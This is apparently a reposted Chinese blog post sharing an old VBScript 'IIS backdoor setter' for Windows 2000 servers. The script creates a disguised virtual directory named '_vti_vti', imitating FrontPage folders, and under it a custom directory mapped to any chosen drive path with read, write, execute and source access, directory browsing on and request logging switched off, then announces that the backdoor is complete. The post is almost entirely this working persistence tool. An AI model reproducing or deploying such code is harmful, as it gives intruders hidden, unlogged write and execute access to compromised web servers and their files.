IIS后门设置器

整理以前的资料时看到的，最早的iis后面控制器。

help1="IIS后门设置器 FOR WIN2000 BY 动鲨  3月3号2004 年"

help2="请输入正确的虚拟目录名称和映射的路径,格式如下"

help3="   cscript.exe iis.vbs 虚拟目录的名称  映射的路径"

help4="例如: cscript.exe iis.vbs lh e:\"

set Args = Wscript.Arguments

 if args.count < 2 then

    wscript.echo help1

    wscript.echo ""

    wscript.echo help2

    wscript.echo help3

    wscript.echo help4

    wscript.quit

 end if

strVRName=args(0) ''虚拟目录名称

strRootPath=args(1) ''虚拟目录路径

Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/3/Root")

  For each VR in checkVirtualDir

   if VR.Name="_vti_vti" Then

     foundt ="yes"

   else

     foundt= "no"

   End If

  Next

if foundt ="yes" then

  wscript.echo "发现已经创建了lhxy目录，正在设置自定义的虚拟目录"

  creatvdir

else

  wscript.echo "正在创建lhxy目录，以及自定义文件夹，请等待！"

  creatlhxy

end if

wscript.echo "你创建的虚拟目录名称是"& strVRName &"，映射的文件夹是 " & strRootPath &"。"

wscript.echo "恭喜!后门设置全部完成!" 

sub creatlhxy()

    Set objDir=GetObject("IIS://LocalHost/W3SVC/3/Root") 

       Set myDir=objDir.Create("IISWebVirtualDir","_vti_vti")

        myDir.AccessRead=true

        myDir.DefaultDoc=mydir.DefaultDoc

        myDir.AppIsolated=0

        myDir.AccessExecute=true 

        myDir.DontLog=true

        myDir.AccessSource=true

        myDir.EnableDirBrowsing=true

        myDir.setinfo

end sub

sub creatvdir()

    Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/3/Root/_vti_vti")

      Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)

       VirDir.AccessRead=true

       VirDir.Path=strRootPath

       VirDir.DefaultDoc=""

       VirDir.AccessExecute=true

       VirDir.AccessWrite=true

       VirDir.AccessSource=true 

       VirDir.AppIsolated=0 

       VirDir.DontLog=true 

       VirDir.EnableDirBrowsing=true 

       VirDir.appcreate 0 

       VirDir.CreateProcessAsUser=0

       VirDir.setInfo

wscript.quit

 本文转自 simeon2005 51CTO博客，原文链接:http://blog.51cto.com/simeon/76769